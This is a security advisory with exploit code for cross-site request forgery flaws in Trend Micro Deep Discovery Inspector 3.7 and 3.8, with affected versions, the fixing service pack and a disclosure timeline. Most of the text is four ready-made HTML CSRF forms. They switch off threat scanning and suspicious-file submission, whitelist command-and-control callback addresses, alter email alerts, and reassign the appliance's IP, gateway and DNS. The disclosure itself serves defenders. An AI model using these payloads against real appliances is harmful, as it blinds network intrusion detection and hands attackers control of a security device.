Trend Micro Deep Discovery Inspector 3.8/3.7 - Cross-Site Request Forgery









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Trend Micro Deep Discovery Inspector
V3.8, 3.7

Deep Discovery Inspector is a network appliance that gives you 360-degree
network monitoring of all traffic
to detect all aspects of a targeted attack.

Vulnerability Type:
Cross Site Request Forgery - CSRF

CVE Reference:

Vulnerability Details:

Trend Micro Deep Discovery suffers from multiple CSRF vectors, if an
authenticated user visits an malicious webpage attackers will
have ability to modify many settings of the Deep Discovery application to
that of the attackers choosing.


Trend Micro DDI is affected by CSRF vulnerabilities. These affect the
following console features:

Deny List Notifications
Detection Rules
Threat Detections
Email Settings
Power Off / Restart
The following DDI versions prior to version 3.8 Service Pack 2 (SP2) are

3.8 English
3.8 Japanese
3.7 English
3.7 Japanese
3.7 Simplified Chinese
Trend Micro has released DDI 3.8 SP2. All versions up to version 3.8 SP1
must upgrade to version 3.8 SP2 (Build 3.82.1133) to address this issue.

Exploit code(s):

1) Shut down all threat scans and malicious file submissions under:
 Administration /Monitoring / Scanning / Threat Detections

<iframe id="demonica" name="demonica"></iframe>

<form id="CSRF-ThreatScans" target="demonica" action="
https://localhost/php/scan_options.php" method="post">
<input type="hidden" name="act" value="set" />
<input type="hidden" name="enable_all" value="0" />
<input type="hidden" name="enable_vsapi" value="1" />
<input type="hidden" name="enable_marsd" value="1" />
<input type="hidden" name="enable_ops" value="1" />
<input type="hidden" name="enable_block" value="0" />
<input type="hidden" name="enable_feedback" value="0" />
<input type="hidden" name="enable_send_suspicious_file" value="0" />

2) Whitelist C&C server menu location:  Detections / C&C Callback Addresses

 <form id="CSRF-Whitelist" target="demonica" action="
https://localhost/php/blacklist_whitelist_query.php" method="post">
<input type="hidden" name="black_or_white" value="ccca" />
<input type="hidden" name="action" value="move_to_white_ccca" />
<input type="hidden" name="delete_list" value='"list":[{"name":"","list_type":"3"}]}"' />
<input type="hidden" name="comments" value="TEST" />

3) Turn off or change email notifications

<form id="CSRF-Notifications" target="demonica" action="
https://localhost/cgi-bin/mailSettings_set.cgi" method="post">
<input type="hidden" name="adm_email_address" value=""
<input type="hidden" name="sender_address" value="" />
<input type="hidden" name="mail_server" value="x.x.x.x" />
<input type="hidden" name="mail_server_port" value="25" />
<input type="hidden" name="showusername" value="" />
<input type="hidden" name="showpassword" value="" />
<input type="hidden" name="max_notification_per_hour" value="5" />
<input type="hidden" name="check_mail_queue" value="60" />
<input type="hidden" name="server" value="x.x.x.x" />
<input type="hidden" name="port" value="25" />
<input type="hidden" name="admin_address" value="" />
<input type="hidden" name="from_address" value="" />
<input type="hidden" name="username" value="" />
<input type="hidden" name="password" value="" />
<input type="hidden" name="freq_limit_interval" value="3600" />
<input type="hidden" name="freq_limit_softlimit" value="5" />
<input type="hidden" name="testconnect" value="config" />
<input type="hidden" name="which_cgi_flag" value="" />
<input type="hidden" name="alert_message" value="" />
<input type="hidden" name="save_status" value="false" />

4) Change system settings ( x.x.x.x = whatever IP we want )

<form id='PWNED' target="demonica" action="
https://localhost/cgi-bin/admin_ip.cgi" method="post">
<input type="hidden" name="txtHostname" value="localhost" />
<input type="hidden" name="radioType" value="radiobutton" />
<input type="hidden" name="txtIP" value="x.x.x.x" />
<input type="hidden" name="txtNetmask" value="" />
<input type="hidden" name="txtGateway" value="x.x.x.x" />
<input type="hidden" name="txtDNS1" value="x.x.x.x" />
<input type="hidden" name="txtDNS2" value="x.x.x.x" />
<input type="hidden" name="txtIP_ip6" value="" />
<input type="hidden" name="txtIP_ip6_prefix" value="" />
<input type="hidden" name="txtGateway_ip6" value="" />
<input type="hidden" name="txtDNS1_ip6" value="" />
<input type="hidden" name="td_start" value="Start" />
<input type="hidden" name="td_start" value="Start" />
<input type="hidden" name="td_analyze" value="View" />
<input type="hidden" name="td_export" value="Export" />
<input type="hidden" name="td_reset" value="Reset" />
<input type="hidden" name="button1112" value="Cancel" />
<input type="hidden" name="network_type" value="static" />
<input type="hidden" name="act" value="save" />
<input type="hidden" name="Hostname" value="localhost" />
<input type="hidden" name="IP" value="x.x.x.x" />
<input type="hidden" name="Netmask" value="" />
<input type="hidden" name="Gateway" value="x.x.x.x" />
<input type="hidden" name="DNS1" value="x.x.x.x" />
<input type="hidden" name="DNS2" value="x.x.x.x" />
<input type="hidden" name="enable_ip6" value="no" />
<input type="hidden" name="network_type_ip6" value="static" />
<input type="hidden" name="IP_ip6" value="" />
<input type="hidden" name="IP_ip6_prefix" value="" />
<input type="hidden" name="Gateway_ip6" value="" />
<input type="hidden" name="DNS1_ip6" value="" />
<input type="hidden" name="port1_nic" value="eth0" />
<input type="hidden" name="port1_type" value="auto" />
<input type="hidden" name="port1_speed" value="" />
<input type="hidden" name="port1_duplex" value="" />
<input type="hidden" name="port1_attr" value="MGMT" />
<input type="hidden" name="port1_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port1_state" value="1000" />
<input type="hidden" name="port2_nic" value="eth1" />
<input type="hidden" name="port2_type" value="auto" />
<input type="hidden" name="port2_speed" value="" />
<input type="hidden" name="port2_duplex" value="" />
<input type="hidden" name="port2_attr" value="INT" />
<input type="hidden" name="port2_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port2_state" value="1000" />
<input type="hidden" name="port3_nic" value="eth2" />
<input type="hidden" name="port3_type" value="auto" />
<input type="hidden" name="port3_speed" value="" />
<input type="hidden" name="port3_duplex" value="" />
<input type="hidden" name="port3_attr" value="INT" />
<input type="hidden" name="port3_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port3_state" value="1000" />
<input type="hidden" name="port4_nic" value="eth3" />
<input type="hidden" name="port4_type" value="auto" />
<input type="hidden" name="port4_speed" value="" />
<input type="hidden" name="port4_duplex" value="" />
<input type="hidden" name="port4_attr" value="INT" />
<input type="hidden" name="port4_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port4_state" value="-1" />
<input type="hidden" name="port5_nic" value="eth4" />
<input type="hidden" name="port5_type" value="auto" />
<input type="hidden" name="port5_speed" value="" />
<input type="hidden" name="port5_duplex" value="" />
<input type="hidden" name="port5_attr" value="INT" />
<input type="hidden" name="port5_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port5_state" value="-1" />
<input type="hidden" name="port6_nic" value="eth5" />
<input type="hidden" name="port6_type" value="auto" />
<input type="hidden" name="port6_speed" value="" />
<input type="hidden" name="port6_duplex" value="" />
<input type="hidden" name="port6_attr" value="INT" />
<input type="hidden" name="port6_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port6_state" value="-1" />
<input type="hidden" name="port7_nic" value="eth6" />
<input type="hidden" name="port7_type" value="manual" />
<input type="hidden" name="port7_speed" value="10000" />
<input type="hidden" name="port7_duplex" value="full" />
<input type="hidden" name="port7_attr" value="INT" />
<input type="hidden" name="port7_cap" value="10000F" />
<input type="hidden" name="port7_state" value="-1" />
<input type="hidden" name="port8_nic" value="eth7" />
<input type="hidden" name="port8_type" value="manual" />
<input type="hidden" name="port8_speed" value="10000" />
<input type="hidden" name="port8_duplex" value="full" />
<input type="hidden" name="port8_attr" value="INT" />
<input type="hidden" name="port8_cap" value="10000F" />
<input type="hidden" name="port8_state" value="-1" />
<input type="hidden" name="port9_nic" value="ext3" />
<input type="hidden" name="port9_type" value="auto" />
<input type="hidden" name="port9_speed" value="" />
<input type="hidden" name="port9_duplex" value="" />
<input type="hidden" name="port9_attr" value="N%2FA" />
<input type="hidden" name="port9_cap" value="" />
<input type="hidden" name="port9_state" value="" />
<input type="hidden" name="port10_nic" value="ext4" />
<input type="hidden" name="port10_type" value="auto" />
<input type="hidden" name="port10_speed" value="" />
<input type="hidden" name="port10_duplex" value="" />
<input type="hidden" name="port10_attr" value="N%2FA" />
<input type="hidden" name="port10_cap" value="" />
<input type="hidden" name="port10_state" value="" />
<input type="hidden" name="port11_nic" value="ext5" />
<input type="hidden" name="port11_type" value="auto" />
<input type="hidden" name="port11_speed" value="" />
<input type="hidden" name="port11_duplex" value="" />
<input type="hidden" name="port11_attr" value="N%2FA" />
<input type="hidden" name="port11_cap" value="" />
<input type="hidden" name="port11_state" value="" />
<input type="hidden" name="port12_nic" value="ext6" />
<input type="hidden" name="port12_type" value="auto" />
<input type="hidden" name="port12_speed" value="" />
<input type="hidden" name="port12_duplex" value="" />
<input type="hidden" name="port12_attr" value="N%2FA" />
<input type="hidden" name="port12_cap" value="" />
<input type="hidden" name="port12_state" value="" />
<input type="hidden" name="port13_nic" value="ext7" />
<input type="hidden" name="port13_type" value="auto" />
<input type="hidden" name="port13_speed" value="" />
<input type="hidden" name="port13_duplex" value="" />
<input type="hidden" name="port13_attr" value="N%2FA" />
<input type="hidden" name="port13_cap" value="" />
<input type="hidden" name="port13_state" value="" />
<input type="hidden" name="port14_nic" value="ext8" />
<input type="hidden" name="port14_type" value="auto" />
<input type="hidden" name="port14_speed" value="" />
<input type="hidden" name="port14_duplex" value="" />
<input type="hidden" name="port14_attr" value="N%2FA" />
<input type="hidden" name="port14_cap" value="" />
<input type="hidden" name="port14_state" value="" />
<input type="hidden" name="port15_nic" value="ext9" />
<input type="hidden" name="port15_type" value="auto" />
<input type="hidden" name="port15_speed" value="" />
<input type="hidden" name="port15_duplex" value="" />
<input type="hidden" name="port15_attr" value="N%2FA" />
<input type="hidden" name="port15_cap" value="" />
<input type="hidden" name="port15_state" value="" />
<input type="hidden" name="port16_nic" value="ext10" />
<input type="hidden" name="port16_type" value="auto" />
<input type="hidden" name="port16_speed" value="" />
<input type="hidden" name="port16_duplex" value="" />
<input type="hidden" name="port16_attr" value="N%2FA" />
<input type="hidden" name="port16_cap" value="" />
<input type="hidden" name="port16_state" value="" />
<input type="hidden" name="port17_nic" value="ext11" />
<input type="hidden" name="port17_type" value="auto" />
<input type="hidden" name="port17_speed" value="" />
<input type="hidden" name="port17_duplex" value="" />
<input type="hidden" name="port17_attr" value="N%2FA" />
<input type="hidden" name="port17_cap" value="" />
<input type="hidden" name="port17_state" value="" />
<input type="hidden" name="port18_nic" value="ext12" />
<input type="hidden" name="port18_type" value="auto" />
<input type="hidden" name="port18_speed" value="" />
<input type="hidden" name="port18_duplex" value="" />
<input type="hidden" name="port18_attr" value="N%2FA" />
<input type="hidden" name="port18_cap" value="" />
<input type="hidden" name="port18_state" value="" />
<input type="hidden" name="port19_nic" value="ext13" />
<input type="hidden" name="port19_type" value="auto" />
<input type="hidden" name="port19_speed" value="" />
<input type="hidden" name="port19_duplex" value="" />
<input type="hidden" name="port19_attr" value="N%2FA" />
<input type="hidden" name="port19_cap" value="" />
<input type="hidden" name="port19_state" value="" />
<input type="hidden" name="port20_nic" value="ext14" />
<input type="hidden" name="port20_type" value="auto" />
<input type="hidden" name="port20_speed" value="" />
<input type="hidden" name="port20_duplex" value="" />
<input type="hidden" name="port20_attr" value="N%2FA" />
<input type="hidden" name="port20_cap" value="" />
<input type="hidden" name="port20_state" value="" />
<input type="hidden" name="tcpdump" value="" />
<input type="hidden" name="interface" value="" />
<input type="hidden" name="vlan_enable" value="0" />

Disclosure Timeline:
Vendor Notification:  November 23, 2015
March 25, 2016 : Public Disclosure

Exploitation Technique:

Severity Level:


Request Method(s):        [+] POST

Vulnerable Product:       [+] Trend Micro Deep Discovery Inspector V3.8


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by hyp3rlinx